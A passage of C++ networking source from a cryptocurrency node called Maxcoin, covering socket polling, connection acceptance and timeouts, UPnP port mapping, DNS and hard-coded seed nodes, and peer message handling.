vNodesCopy) { if (pnode->fDisconnect || (pnode->GetRefCount() <= 0 && pnode->vRecvMsg.empty() && pnode->nSendSize == 0 && pnode->ssSend.empty())) { // remove from vNodes vNodes.erase(remove(vNodes.begin(), vNodes.end(), pnode), vNodes.end()); // release outbound grant (if any) pnode->grantOutbound.Release(); // close socket and cleanup pnode->CloseSocketDisconnect(); pnode->Cleanup(); // hold in disconnected pool until all refs are released if (pnode->fNetworkNode || pnode->fInbound) pnode->Release(); vNodesDisconnected.push_back(pnode); } } // Delete disconnected nodes list<CNode*> vNodesDisconnectedCopy = vNodesDisconnected; BOOST_FOREACH(CNode* pnode, vNodesDisconnectedCopy) { // wait until threads are done using it if (pnode->GetRefCount() <= 0) { bool fDelete = false; { TRY_LOCK(pnode->cs_vSend, lockSend); if (lockSend) { TRY_LOCK(pnode->cs_vRecvMsg, lockRecv); if (lockRecv) { TRY_LOCK(pnode->cs_inventory, lockInv); if (lockInv) fDelete = true; } } } if (fDelete) { vNodesDisconnected.remove(pnode); delete pnode; } } } } if (vNodes.size() != nPrevNodeCount) { nPrevNodeCount = vNodes.size(); uiInterface.NotifyNumConnectionsChanged(vNodes.size()); } // // Find which sockets have data to receive // struct timeval timeout; timeout.tv_sec = 0; timeout.tv_usec = 50000; // frequency to poll pnode->vSend fd_set fdsetRecv; fd_set fdsetSend; fd_set fdsetError; FD_ZERO(&fdsetRecv); FD_ZERO(&fdsetSend); FD_ZERO(&fdsetError); SOCKET hSocketMax = 0; bool have_fds = false; BOOST_FOREACH(SOCKET hListenSocket, vhListenSocket) { FD_SET(hListenSocket, &fdsetRecv); hSocketMax = max(hSocketMax, hListenSocket); have_fds = true; } { LOCK(cs_vNodes); BOOST_FOREACH(CNode* pnode, vNodes) { if (pnode->hSocket == INVALID_SOCKET) continue; FD_SET(pnode->hSocket, &fdsetError); hSocketMax = max(hSocketMax, pnode->hSocket); have_fds = true; // Implement the following logic: // * If there is data to send, select() for sending data. As this only // happens when optimistic write failed, we choose to first drain the // write buffer in this case before receiving more. This avoids // needlessly queueing received data, if the remote peer is not themselves // receiving data. This means properly utilizing TCP flow control signalling. // * Otherwise, if there is no (complete) message in the receive buffer, // or there is space left in the buffer, select() for receiving data. // * (if neither of the above applies, there is certainly one message // in the receiver buffer ready to be processed). // Together, that means that at least one of the following is always possible, // so we don't deadlock: // * We send some data. // * We wait for data to be received (and disconnect after timeout). // * We process a message in the buffer (message handler thread). { TRY_LOCK(pnode->cs_vSend, lockSend); if (lockSend && !pnode->vSendMsg.empty()) { FD_SET(pnode->hSocket, &fdsetSend); continue; } } { TRY_LOCK(pnode->cs_vRecvMsg, lockRecv); if (lockRecv && ( pnode->vRecvMsg.empty() || !pnode->vRecvMsg.front().complete() || pnode->GetTotalRecvSize() <= ReceiveFloodSize())) FD_SET(pnode->hSocket, &fdsetRecv); } } } int nSelect = select(have_fds ? hSocketMax + 1 : 0, &fdsetRecv, &fdsetSend, &fdsetError, &timeout); boost::this_thread::interruption_point(); if (nSelect == SOCKET_ERROR) { if (have_fds) { int nErr = WSAGetLastError(); printf("socket select error %d\n", nErr); for (unsigned int i = 0; i <= hSocketMax; i++) FD_SET(i, &fdsetRecv); } FD_ZERO(&fdsetSend); FD_ZERO(&fdsetError); MilliSleep(timeout.tv_usec/1000); } // // Accept new connections // BOOST_FOREACH(SOCKET hListenSocket, vhListenSocket) if (hListenSocket != INVALID_SOCKET && FD_ISSET(hListenSocket, &fdsetRecv)) { #ifdef USE_IPV6 struct sockaddr_storage sockaddr; #else struct sockaddr sockaddr; #endif socklen_t len = sizeof(sockaddr); SOCKET hSocket = accept(hListenSocket, (struct sockaddr*)&sockaddr, &len); CAddress addr; int nInbound = 0; if (hSocket != INVALID_SOCKET) if (!addr.SetSockAddr((const struct sockaddr*)&sockaddr)) printf("Warning: Unknown socket family\n"); { LOCK(cs_vNodes); BOOST_FOREACH(CNode* pnode, vNodes) if (pnode->fInbound) nInbound++; } if (hSocket == INVALID_SOCKET) { int nErr = WSAGetLastError(); if (nErr != WSAEWOULDBLOCK) printf("socket error accept failed: %d\n", nErr); } else if (nInbound >= nMaxConnections - MAX_OUTBOUND_CONNECTIONS) { { LOCK(cs_setservAddNodeAddresses); if (!setservAddNodeAddresses.count(addr)) closesocket(hSocket); } } else if (CNode::IsBanned(addr)) { printf("connection from %s dropped (banned)\n", addr.ToString().c_str()); closesocket(hSocket); } else { printf("accepted connection %s\n", addr.ToString().c_str()); CNode* pnode = new CNode(hSocket, addr, "", true); pnode->AddRef(); { LOCK(cs_vNodes); vNodes.push_back(pnode); } } } // // Service each socket // vector<CNode*> vNodesCopy; { LOCK(cs_vNodes); vNodesCopy = vNodes; BOOST_FOREACH(CNode* pnode, vNodesCopy) pnode->AddRef(); } BOOST_FOREACH(CNode* pnode, vNodesCopy) { boost::this_thread::interruption_point(); // // Receive // if (pnode->hSocket == INVALID_SOCKET) continue; if (FD_ISSET(pnode->hSocket, &fdsetRecv) || FD_ISSET(pnode->hSocket, &fdsetError)) { TRY_LOCK(pnode->cs_vRecvMsg, lockRecv); if (lockRecv) { { // typical socket buffer is 8K-64K char pchBuf[0x10000]; int nBytes = recv(pnode->hSocket, pchBuf, sizeof(pchBuf), MSG_DONTWAIT); if (nBytes > 0) { if (!pnode->ReceiveMsgBytes(pchBuf, nBytes)) pnode->CloseSocketDisconnect(); pnode->nLastRecv = GetTime(); pnode->nRecvBytes += nBytes; } else if (nBytes == 0) { // socket closed gracefully if (!pnode->fDisconnect) printf("socket closed\n"); pnode->CloseSocketDisconnect(); } else if (nBytes < 0) { // error int nErr = WSAGetLastError(); if (nErr != WSAEWOULDBLOCK && nErr != WSAEMSGSIZE && nErr != WSAEINTR && nErr != WSAEINPROGRESS) { if (!pnode->fDisconnect) printf("socket recv error %d\n", nErr); pnode->CloseSocketDisconnect(); } } } } } // // Send // if (pnode->hSocket == INVALID_SOCKET) continue; if (FD_ISSET(pnode->hSocket, &fdsetSend)) { TRY_LOCK(pnode->cs_vSend, lockSend); if (lockSend) SocketSendData(pnode); } // // Inactivity checking // if (pnode->vSendMsg.empty()) pnode->nLastSendEmpty = GetTime(); if (GetTime() - pnode->nTimeConnected > 60) { if (pnode->nLastRecv == 0 || pnode->nLastSend == 0) { printf("socket no message in first 60 seconds, %d %d\n", pnode->nLastRecv != 0, pnode->nLastSend != 0); pnode->fDisconnect = true; } else if (GetTime() - pnode->nLastSend > 90*60 && GetTime() - pnode->nLastSendEmpty > 90*60) { printf("socket not sending\n"); pnode->fDisconnect = true; } else if (GetTime() - pnode->nLastRecv > 90*60) { printf("socket inactivity timeout\n"); pnode->fDisconnect = true; } } } { LOCK(cs_vNodes); BOOST_FOREACH(CNode* pnode, vNodesCopy) pnode->Release(); } MilliSleep(10); } } #ifdef USE_UPNP void ThreadMapPort() { std::string port = strprintf("%u", GetListenPort()); const char * multicastif = 0; const char * minissdpdpath = 0; struct UPNPDev * devlist = 0; char lanaddr[64]; #ifndef UPNPDISCOVER_SUCCESS /* miniupnpc 1.5 */ devlist = upnpDiscover(2000, multicastif, minissdpdpath, 0); #else /* miniupnpc 1.6 */ int error = 0; devlist = upnpDiscover(2000, multicastif, minissdpdpath, 0, 0, &error); #endif struct UPNPUrls urls; struct IGDdatas data; int r; r = UPNP_GetValidIGD(devlist, &urls, &data, lanaddr, sizeof(lanaddr)); if (r == 1) { if (fDiscover) { char externalIPAddress[40]; r = UPNP_GetExternalIPAddress(urls.controlURL, data.first.servicetype, externalIPAddress); if(r != UPNPCOMMAND_SUCCESS) printf("UPnP: GetExternalIPAddress() returned %d\n", r); else { if(externalIPAddress[0]) { printf("UPnP: ExternalIPAddress = %s\n", externalIPAddress); AddLocal(CNetAddr(externalIPAddress), LOCAL_UPNP); } else printf("UPnP: GetExternalIPAddress failed.\n"); } } string strDesc = "Maxcoin " + FormatFullVersion(); try { loop { #ifndef UPNPDISCOVER_SUCCESS /* miniupnpc 1.5 */ r = UPNP_AddPortMapping(urls.controlURL, data.first.servicetype, port.c_str(), port.c_str(), lanaddr, strDesc.c_str(), "TCP", 0); #else /* miniupnpc 1.6 */ r = UPNP_AddPortMapping(urls.controlURL, data.first.servicetype, port.c_str(), port.c_str(), lanaddr, strDesc.c_str(), "TCP", 0, "0"); #endif if(r!=UPNPCOMMAND_SUCCESS) printf("AddPortMapping(%s, %s, %s) failed with code %d (%s)\n", port.c_str(), port.c_str(), lanaddr, r, strupnperror(r)); else printf("UPnP Port Mapping successful.\n");; MilliSleep(20*60*1000); // Refresh every 20 minutes } } catch (boost::thread_interrupted) { r = UPNP_DeletePortMapping(urls.controlURL, data.first.servicetype, port.c_str(), "TCP", 0); printf("UPNP_DeletePortMapping() returned : %d\n", r); freeUPNPDevlist(devlist); devlist = 0; FreeUPNPUrls(&urls); throw; } } else { printf("No valid UPnP IGDs found\n"); freeUPNPDevlist(devlist); devlist = 0; if (r != 0) FreeUPNPUrls(&urls); } } void MapPort(bool fUseUPnP) { static boost::thread* upnp_thread = NULL; if (fUseUPnP) { if (upnp_thread) { upnp_thread->interrupt(); upnp_thread->join(); delete upnp_thread; } upnp_thread = new boost::thread(boost::bind(&TraceThread<boost::function<void()> >, "upnp", &ThreadMapPort)); } else if (upnp_thread) { upnp_thread->interrupt(); upnp_thread->join(); delete upnp_thread; upnp_thread = NULL; } } #else void MapPort(bool) { // Intentionally left blank. } #endif // DNS seeds // Each pair gives a source name and a seed name. // The first name is used as information source for addrman. // The second name should resolve to a list of seed addresses. static const char *strMainNetDNSSeed[][2] = { {"maxcointools.com", "192.168.220.133"}, {NULL, NULL} }; static const char *strTestNetDNSSeed[][2] = { {"maxcointools.com", "testnet-seed.maxcointools.com"}, {"xurious.com", "testnet-seed.ltc.xurious.com"}, {"wemine-testnet.com", "dnsseed.wemine-testnet.com"}, {NULL, NULL} }; void ThreadDNSAddressSeed() { static const char *(*strDNSSeed)[2] = fTestNet ? strTestNetDNSSeed : strMainNetDNSSeed; int found = 0; printf("Loading addresses from DNS seeds (could take a while)\n"); for (unsigned int seed_idx = 0; strDNSSeed[seed_idx][0] != NULL; seed_idx++) { if (HaveNameProxy()) { AddOneShot(strDNSSeed[seed_idx][1]); } else { vector<CNetAddr> vaddr; vector<CAddress> vAdd; if (LookupHost(strDNSSeed[seed_idx][1], vaddr)) { BOOST_FOREACH(CNetAddr& ip, vaddr) { int nOneDay = 24*3600; CAddress addr = CAddress(CService(ip, GetDefaultPort())); addr.nTime = GetTime() - 3*nOneDay - GetRand(4*nOneDay); // use a random age between 3 and 7 days old vAdd.push_back(addr); found++; } } addrman.Add(vAdd, CNetAddr(strDNSSeed[seed_idx][0], true)); } } printf("%d addresses found from DNS seeds\n", found); } unsigned int pnSeed[] = { 0x38a9b992, 0x73d4f3a2, 0x43eda52e, 0xa1c4a2b2, 0x73c41955, 0x6992f3a2, 0x729cb992, 0x8b53b205, 0xb651ec36, 0x8b422e4e, 0x0fe421b2, 0x83c1a2b2, 0xbd432705, 0x2e11b018, 0x281544c1, 0x8b72f3a2, 0xb934555f, 0x2ba02e4e, 0x6ab7c936, 0x8728555f, 0x03bfd143, 0x0a73df5b, 0xcd2b5a50, 0x746df3a2, 0x7481bb25, 0x6f4d4550, 0x78582f4e, 0xa03a0f46, 0xe8b0e2bc, 0xa2d17042, 0x718a09b0, 0xdaffd4a2, 0xbb1a175e, 0xb21f09b0, 0xb5549bc0, 0xe404c755, 0x95d882c3, 0xfff3692e, 0x3777d9c7, 0x425b2746, 0x497990c6, 0xb2782dcc, 0xf9352225, 0xa75cd443, 0x4c05fb94, 0x44c91c2e, 0x47c6a5bc, 0xd606fb94, 0xc1b9e2bc, 0x32acd23e, 0x89560da2, 0x5bebdad8, 0x3a210e08, 0xbdc5795b, 0xcc86bb25, 0xbe9f28bc, 0xef3ff3a2, 0xca29df59, 0xe4fd175e, 0x1f3eaa6b, 0xacdbaa6b, 0xb05f042e, 0x81ed6cd8, 0x9a3c0cc3, 0x4200175e, 0x5a017ebc, 0x42ef4c90, 0x8abfd143, 0x24fbf3a2, 0x140846a6, 0x4f7d9553, 0xeea5d151, 0xe67c0905, 0x52d8048e, 0xcabd2e4e, 0xe276692e, 0x07dea445, 0xdde3f3a2, 0x6c47bb25, 0xae0efb94, 0xf5e15a51, 0xaebdd25b, 0xf341175e, 0x46532705, 0xc47728bc, 0xe4e14c90, 0x9dc8f752, 0x050c042e, 0x1c84bb25, 0x4f163b25, 0x1a017ebc, 0xa5282e4e, 0x8c667e60, 0xc7113b25, 0xf0b44832, 0xf1a134d0, 0x973212d4, 0xd35cbb25, 0xd5123b25, 0x68220254, 0x7ad43e32, 0x9268e32e, 0xdf143b25, 0xaf04c436, 0xaded0051, 0xfa86d454, 0x09db048e, 0x26003b25, 0x58764c90, 0x9a2f555f, 0x0c24ec97, 0x92123b25, 0x0526d35f, 0x17db048e, 0xd2e42f4e, 0x38cca5bc, 0xc6320ab9, 0xe28ac836, 0xc560aa6b, 0xa5c16041, 0x70a6f1c0, 0x011ec8c1, 0xd6e9c332, 0x131263c0, 0xa15a4450, 0xef218abc, 0x2729f948, 0x02835443, 0x5614336c, 0xb12aacb2, 0xe368aa6b, 0x3cc6ffad, 0x36206494, 0x2c90e9c1, 0x32bb53d4, 0xca03de5c, 0x775c1955, 0x19ef1ba3, 0x0b00dc1f, 0x244d0f40, 0x54d9e2bc, 0x25ced152, 0x967b03ad, 0x951c555f, 0x4c3f3b25, 0x13f6f3a2, 0x17fca5bc, 0x0e2d306c, 0xacd8764b, 0xca230bcc, 0x8569d3c6, 0x3264d8a2, 0xe8630905, 0x25e02a64, 0x3aba1fb0, 0x6bbdd25b, 0xee9a4c90, 0xcda25982, 0x8b3e804e, 0xf043fb94, 0x4b05fb94, 0x0c44c052, 0xf403f45c, 0x4333aa6b, 0xc193484d, 0x3fbf5d4c, 0x0bd7f74d, 0x150e3fb2, 0x8e2eddb0, 0x09daf150, 0x8a67c7c6, 0x22a9e52e, 0x05cff476, 0xc99b2f4e, 0x0f183b25, 0xd0358953, 0x20f232c6, 0x0ce9e217, 0x09f55d18, 0x0555795b, 0x5ed2fa59, 0x2ec85917, 0x2bf61fb0, 0x024ef54d, 0x3c53b859, 0x441cbb25, 0x50c8aa6b, 0x1b79175e, 0x3125795b, 0x27fc1fb0, 0xbcd53e32, 0xfc781718, 0x7a8ec345, 0x1da6985d, 0x34bd1f32, 0xcb00edcf, 0xf9a5fdce, 0x21ccdbac, 0xb7730118, 0x6a43f6cc, 0x6e65e262, 0x21ca1f3d, 0x10143b25, 0xc8dea132, 0xaf076693, 0x7e431bc6, 0xaa3df5c6, 0x44f0c536, 0xeea80925, 0x262371d4, 0xc85c895b, 0xa6611bc6, 0x1844e47a, 0x49084c90, 0xf3d95157, 0x63a4a844, 0x00477c70, 0x2934d35f, 0xe8d24465, 0x13df88b7, 0x8fcb7557, 0xa591bd5d, 0xc39453d4, 0xd5c49452, 0xc8de1a56, 0x3cdd0608, 0x3c147a55, 0x49e6cf4a, 0xb38c8705, 0x0bef3479, 0x01540f48, 0xd9c3ec57, 0xed6d4c90, 0xa529fb94, 0xe1c81955, 0xfde617c6, 0x72d18932, 0x9d61bb6a, 0x6d5cb258, 0x27c7d655, 0xc5644c90, 0x31fae3bc, 0x3afaf25e, 0x98efe2bc, 0x91020905, 0xb566795b, 0xaf91bd5d, 0xb164d655, 0x72eb47d4, 0xae62f3a2, 0xb4193b25, 0x0613fb94, 0xa6db048e, 0xf002464b, 0xc15ebb6a, 0x8a51f3a2, 0x485e2ed5, 0x119675a3, 0x1f3f555f, 0x39dbc082, 0x09dea445, 0x74382446, 0x3e836c4e, 0x6e43f6cc, 0x134dd9a2, 0x5876f945, 0x3516f725, 0x670c81d4, 0xaf7f170c, 0xb0e31155, 0xe271894e, 0x615e175e, 0xb3446fd0, 0x13d58ac1, 0x07cff476, 0xe601e405, 0x8321277d, 0x0997548d, 0xdb55336c, 0xa1271d73, 0x582463c0, 0xc2543025, 0xf6851c73, 0xe75d32ae, 0xf916b4dd, 0xf558fb94, 0x52111d73, 0x2bc8615d, 0xd4dcaf42, 0x65e30979, 0x2e1b2360, 0x0da01d73, 0x3f1263c0, 0xd15c735d, 0x9cf2134c, 0x20d0048e, 0x48cf0125, 0xf585bf5d, 0x12d7645e, 0xd5ace2bc, 0x0c6220b2, 0xbe13bb25, 0x88d0a52e, 0x559425b0, 0x24079e3d, 0xfaa37557, 0xf219b96a, 0x07e61e4c, 0x3ea1d295, 0x24e0d852, 0xdde212df, 0x44c37758, 0x55c243a4, 0xe77dd35f, 0x10c19a5f, 0x14d1048e, 0x1d50fbc6, 0x1570456c, 0x567c692e, 0x641d6d5b, 0xab0c0cc6, 0xab6803c0, 0x136f21b2, 0x6a72545d, 0x21d031b2, 0xff8b5fad, 0xfd0096b2, 0x5f469ac3, 0x3f6ffa62, 0x7501f863, 0x48471f60, 0xcccff3a2, 0x7f772e44, 0xc1de7757, 0x0c94c3cb, 0x620ac658, 0x520f1d25, 0x37366c5f, 0x7594b159, 0x3804f23c, 0xb81ff054, 0x96dd32c6, 0x928228bc, 0xf4006e41, 0x0241c244, 0x8dbdf243, 0x26d1b247, 0xd5381c73, 0xf3136e41, 0x4afa9bc0, 0xa3abf8ce, 0x464ce718, 0xbd9d017b, 0xf4f26132, 0x141b32d4, 0x2ec50c18, 0x4df119d9, 0x93f81772, 0xd9607c70, 0x3522b648, 0xf2006e41, 0x761fe550, 0x40104836, 0x55dffe96, 0xc45db158, 0xe75e4836, 0x8dfab7ad, 0xe3eff3a2, 0x6a6eaa6b, 0x2177d9c7, 0x724ce953, 0xafe918b9, 0xf9368a55, 0xdc0a555f, 0xa4b2d35f, 0x4d87b0b8, 0x93496a54, 0x5a5c967b, 0xd47028bc, 0x3c44e47a, 0x11c363c0, 0x28107c70, 0xb756a558, 0xb82bbb6a, 0x285d49ad, 0x3b0ce85c, 0xe53eb45f, 0xa836e23c, 0x409f63c0, 0xc80fbd44, 0x3447f677, 0xe4ca983b, 0x20673774, 0x96471ed9, 0x4c1d09b0, 0x91d5685d, 0x55beec4d, 0x1008be48, 0x660455d0, 0xf8170fda, 0x3c21dd3a, 0x8239bb36, 0x9fe7e2bc, 0x900c47ae, 0x6a355643, 0x03dcb318, 0xefca123d, 0x6af8c4d9, 0x5195e1a5, 0x32e89925, 0x0adc51c0, 0x45d7164c, 0x02495177, 0x8131175e, 0x681b5177, 0x41b6aa6b, 0x55a9603a, 0x1a0c1c1f, 0xdb4da043, 0x3b9b1632, 0x37e08368, 0x8b54e260, 0xcd14d459, 0x82a663c0, 0x05adc7dd, 0xe683f3a2, 0x4cddb150, 0x67a1a62e, 0x8c0acd25, 0x07f01f3e, 0x3111296c, 0x2d0fda2e, 0xa4f163c0, 0xca6db982, 0x78ed2359, 0x7eaa21c1, 0x62e4f3a2, 0x50b81d73, 0xcd074a3a, 0xcb2d904b, 0x9b3735ce, 0xab67f25c, 0xa0eb5036, 0x62ae5344, 0xe2569bb2, 0xc4422e4e, 0xab5ec8d5, 0xaa81e8dd, 0xa39264c6, 0xf391563d, 0xb79bbb25, 0x174a7857, 0x0fd4aa43, 0x3e158c32, 0x3ae8b982, 0xea342225, 0x48d1a842, 0xa52bf0da, 0x4bcb4a4c, 0xa6d3c15b, 0x49a0d35f, 0x97131b4c, 0xf197e252, 0xfe3ebd18, 0x156dacb8, 0xf63328bc, 0x8e95b84c, 0x560455d0, 0xee918c4e, 0x1d3e435f, 0xe1292f50, 0x0f1ec018, 0x7d70c60e, 0x6a29d5be, 0xf5fecb18, 0xd6da1f63, 0xccce1c2e, 0x7a289f5e, 0x2775ae47, 0x696df560, 0x4dbe00ae, 0x474e6c5c, 0x604141d5, 0xaed0c718, 0x8acfd23e, 0x7ff4b84c, 0x4b44fc60, 0xdf58aa4f, 0x9b7440c0, 0xb811c854, 0xd90ec24e, 0xcff75c46, 0xa5a9cc57, 0xb3d21e4c, 0x794779d9, 0xe5613d46, 0x9478be43, 0xc5d11152, 0xe85fbb6a, 0x3e1ed052, 0xf747e418, 0x3b9c61c2, 0xb2532949, 0x43077432, 0xa3db0b68, 0xb3b6e35a, 0x70361b6c, 0x3a8bad3e, 0x23079e3d, 0x09314c32, 0x92f90053, 0x4fc31955, 0xa59b0905, 0x924128bc, 0x4e63c444, 0x344dc236, 0x43055fcb, 0xdc1a1c73, 0x38aaaa6b, 0xa61cf554, 0x6d8f63c0, 0x24800a4c, 0x2406f953, 0x9558bb6a, 0x1d281660, 0x054c4954, 0x2de4d418, 0x5fdaf043, 0xb681356c, 0xf8c3febc, 0x8854f950, 0x55b45d32, 0xde07bcd1, 0x156e4bda, 0x924cf718, 0xc34a0d47, 0xdd5e1c45, 0x4a0d63c0, 0xaf4b88d5, 0x7852b958, 0x6f205fc0, 0x838af043, 0x45ac795b, 0x43bbaa6b, 0x998d1c73, 0x11c1d558, 0x749ec444, 0x9a38c232, 0xad2f8c32, 0x3446c658, 0x8fe7a52e, 0x4e846b61, 0x064b2d05, 0x0fd09740, 0x7a81a743, 0xf1f08e3f, 0x35ca1967, 0x24bdb17d, 0x144c2d05, 0x5505bb46, 0x13fd1bb9, 0x25de2618, 0xc80a8b4b, 0xcec0fd6c, 0xdc30ad4c, 0x4009f3a2, 0x472f3fb2, 0x5e69c936, 0x0380796d, 0xa463f8a2, 0xa46fbdc7, 0x3b0cc547, 0xb6644f46, 0x4b90fc47, 0x39e3f563, 0x72d81e56, 0xe177d9c7, 0x95bff743, 0xea985542, 0xc210ec55, 0xeef70b67, 0xc9eb175e, 0x844d38ad, 0x65afa247, 0x72da6d26, 0xed165dbc, 0xe8c83ad0, 0x9a8f37d8, 0x925adf50, 0x6b6ac162, 0x4b969e32, 0x735e1c45, 0x4423ff60, 0xfa57ec6d, 0xcde2fb65, 0x11093257, 0x4748cd5b, 0x720c03dd, 0x8c7b0905, 0xba8b2e48 }; void DumpAddresses() { int64 nStart = GetTimeMillis(); CAddrDB adb; adb.Write(addrman); printf("Flushed %d addresses to peers.dat %"PRI64d"ms\n", addrman.size(), GetTimeMillis() - nStart); } void static ProcessOneShot() { string strDest; { LOCK(cs_vOneShots); if (vOneShots.empty()) return; strDest = vOneShots.front(); vOneShots.pop_front(); } CAddress addr; CSemaphoreGrant grant(*semOutbound, true); if (grant) { if (!OpenNetworkConnection(addr, &grant, strDest.c_str(), true)) AddOneShot(strDest); } } void ThreadOpenConnections() { // Connect to specific addresses if (mapArgs.count("-connect") && mapMultiArgs["-connect"].size() > 0) { for (int64 nLoop = 0;; nLoop++) { ProcessOneShot(); BOOST_FOREACH(string strAddr, mapMultiArgs["-connect"]) { CAddress addr; OpenNetworkConnection(addr, NULL, strAddr.c_str()); for (int i = 0; i < 10 && i < nLoop; i++) { MilliSleep(500); } } MilliSleep(500); } } // Initiate network connections int64 nStart = GetTime(); loop { ProcessOneShot(); MilliSleep(500); CSemaphoreGrant grant(*semOutbound); boost::this_thread::interruption_point(); // Add seed nodes if IRC isn't working if (addrman.size()==0 && (GetTime() - nStart > 60) && !fTestNet) { std::vector<CAddress> vAdd; for (unsigned int i = 0; i < ARRAYLEN(pnSeed); i++) { // It'll only connect to one or two seed nodes because once it connects, // it'll get a pile of addresses with newer timestamps. // Seed nodes are given a random 'last seen time' of between one and two // weeks ago. const int64 nOneWeek = 7*24*60*60; struct in_addr ip; memcpy(&ip, &pnSeed[i], sizeof(ip)); CAddress addr(CService(ip, GetDefaultPort())); addr.nTime = GetTime()-GetRand(nOneWeek)-nOneWeek; vAdd.push_back(addr); } addrman.Add(vAdd, CNetAddr("127.0.0.1")); } // // Choose an address to connect to based on most recently seen // CAddress addrConnect; // Only connect out to one peer per network group (/16 for IPv4). // Do this here so we don't have to critsect vNodes inside mapAddresses critsect. int nOutbound = 0; set<vector<unsigned char> > setConnected; { LOCK(cs_vNodes); BOOST_FOREACH(CNode* pnode, vNodes) { if (!pnode->fInbound) { setConnected.insert(pnode->addr.GetGroup()); nOutbound++; } } } int64 nANow = GetAdjustedTime(); int nTries = 0; loop { // use an nUnkBias between 10 (no outgoing connections) and 90 (8 outgoing connections) CAddress addr = addrman.Select(10 + min(nOutbound,8)*10); // if we selected an invalid address, restart if (!addr.IsValid() || setConnected.count(addr.GetGroup()) || IsLocal(addr)) break; // If we didn't find an appropriate destination after trying 100 addresses fetched from addrman, // stop this loop, and let the outer loop run again (which sleeps, adds seed nodes, recalculates // already-connected network ranges, ...) before trying new addrman addresses. nTries++; if (nTries > 100) break; if (IsLimited(addr)) continue; // only consider very recently tried nodes after 30 failed attempts if (nANow - addr.nLastTry < 600 && nTries < 30) continue; // do not allow non-default ports, unless after 50 invalid addresses selected already if (addr.GetPort() != GetDefaultPort() && nTries < 50) continue; addrConnect = addr; break; } if (addrConnect.IsValid()) OpenNetworkConnection(addrConnect, &grant); } } void ThreadOpenAddedConnections() { { LOCK(cs_vAddedNodes); vAddedNodes = mapMultiArgs["-addnode"]; } if (HaveNameProxy()) { while(true) { list<string> lAddresses(0); { LOCK(cs_vAddedNodes); BOOST_FOREACH(string& strAddNode, vAddedNodes) lAddresses.push_back(strAddNode); } BOOST_FOREACH(string& strAddNode, lAddresses) { CAddress addr; CSemaphoreGrant grant(*semOutbound); OpenNetworkConnection(addr, &grant, strAddNode.c_str()); MilliSleep(500); } MilliSleep(120000); // Retry every 2 minutes } } for (unsigned int i = 0; true; i++) { list<string> lAddresses(0); { LOCK(cs_vAddedNodes); BOOST_FOREACH(string& strAddNode, vAddedNodes) lAddresses.push_back(strAddNode); } list<vector<CService> > lservAddressesToAdd(0); BOOST_FOREACH(string& strAddNode, lAddresses) { vector<CService> vservNode(0); if(Lookup(strAddNode.c_str(), vservNode, GetDefaultPort(), fNameLookup, 0)) { lservAddressesToAdd.push_back(vservNode); { LOCK(cs_setservAddNodeAddresses); BOOST_FOREACH(CService& serv, vservNode) setservAddNodeAddresses.insert(serv); } } } // Attempt to connect to each IP for each addnode entry until at least one is successful per addnode entry // (keeping in mind that addnode entries can have many IPs if fNameLookup) { LOCK(cs_vNodes); BOOST_FOREACH(CNode* pnode, vNodes) for (list<vector<CService> >::iterator it = lservAddressesToAdd.begin(); it != lservAddressesToAdd.end(); it++) BOOST_FOREACH(CService& addrNode, *(it)) if (pnode->addr == addrNode) { it = lservAddressesToAdd.erase(it); it--; break; } } BOOST_FOREACH(vector<CService>& vserv, lservAddressesToAdd) { CSemaphoreGrant grant(*semOutbound); OpenNetworkConnection(CAddress(vserv[i % vserv.size()]), &grant); MilliSleep(500); } MilliSleep(120000); // Retry every 2 minutes } } // if successful, this moves the passed grant to the constructed node bool OpenNetworkConnection(const CAddress& addrConnect, CSemaphoreGrant *grantOutbound, const char *strDest, bool fOneShot) { // // Initiate outbound network connection // boost::this_thread::interruption_point(); if (!strDest) if (IsLocal(addrConnect) || FindNode((CNetAddr)addrConnect) || CNode::IsBanned(addrConnect) || FindNode(addrConnect.ToStringIPPort().c_str())) return false; if (strDest && FindNode(strDest)) return false; CNode* pnode = ConnectNode(addrConnect, strDest); boost::this_thread::interruption_point(); if (!pnode) return false; if (grantOutbound) grantOutbound->MoveTo(pnode->grantOutbound); pnode->fNetworkNode = true; if (fOneShot) pnode->fOneShot = true; return true; } // for now, use a very simple selection metric: the node from which we received // most recently double static NodeSyncScore(const CNode *pnode) { return -pnode->nLastRecv; } void static StartSync(const vector<CNode*> &vNodes) { CNode *pnodeNewSync = NULL; double dBestScore = 0; // fImporting and fReindex are accessed out of cs_main here, but only // as an optimization - they are checked again in SendMessages. if (fImporting || fReindex) return; // Iterate over all nodes BOOST_FOREACH(CNode* pnode, vNodes) { // check preconditions for allowing a sync if (!pnode->fClient && !pnode->fOneShot && !pnode->fDisconnect && pnode->fSuccessfullyConnected && (pnode->nStartingHeight > (nBestHeight - 144)) && (pnode->nVersion < NOBLKS_VERSION_START || pnode->nVersion >= NOBLKS_VERSION_END)) { // if ok, compare node's score with the best so far double dScore = NodeSyncScore(pnode); if (pnodeNewSync == NULL || dScore > dBestScore) { pnodeNewSync = pnode; dBestScore = dScore; } } } // if a new sync candidate was found, start sync! if (pnodeNewSync) { pnodeNewSync->fStartSync = true; pnodeSync = pnodeNewSync; } } void ThreadMessageHandler() { SetThreadPriority(THREAD_PRIORITY_BELOW_NORMAL); while (true) { bool fHaveSyncNode = false; vector<CNode*> vNodesCopy; { LOCK(cs_vNodes); vNodesCopy = vNodes; BOOST_FOREACH(CNode* pnode, vNodesCopy) { pnode->AddRef(); if (pnode == pnodeSync) fHaveSyncNode = true; } } if (!fHaveSyncNode) StartSync(vNodesCopy); // Poll the connected nodes for messages CNode* pnodeTrickle = NULL; if (!vNodesCopy.empty()) pnodeTrickle = vNodesCopy[GetRand(vNodesCopy.size())]; bool fSleep = true; BOOST_FOREACH(CNode* pnode, vNodesCopy) { if (pnode->fDisconnect) continue; // Receive messages { TRY_LOCK(pnode->cs_vRecvMsg, lockRecv); if (lockRecv) { if (!ProcessMessages(pnode)) pnode->CloseSocketDisconnect(); if (pnode->nSendSize < SendBufferSize()) { if (!pnode->vRecvGetData.empty() || (!pnode->vRecvMsg.empty() && pnode->vRecvMsg[0].complete())) { fSleep = false; } } } } boost::this_thread::interruption_point(); // Send messages { TRY_LOCK(pnode->cs_vSend, lockSend); if (lockSend) SendMessages(pnode, pnode == pnodeTrickle); } boost::this_thread::interruption_point(); } { LOCK(cs_vNodes); BOOST_FOREACH(CNode* pnode, vNodesCopy) pnode->Release(); } if (fSleep) MilliSleep(100); } } bool BindListenPort(const CService &addrBind, string& strError) { strError = ""; int nOne = 1; // Create socket for listening for incoming connections #ifdef USE_IPV6 struct sockaddr_storage sockaddr; #else struct sockaddr sockaddr; #endif socklen_t len = 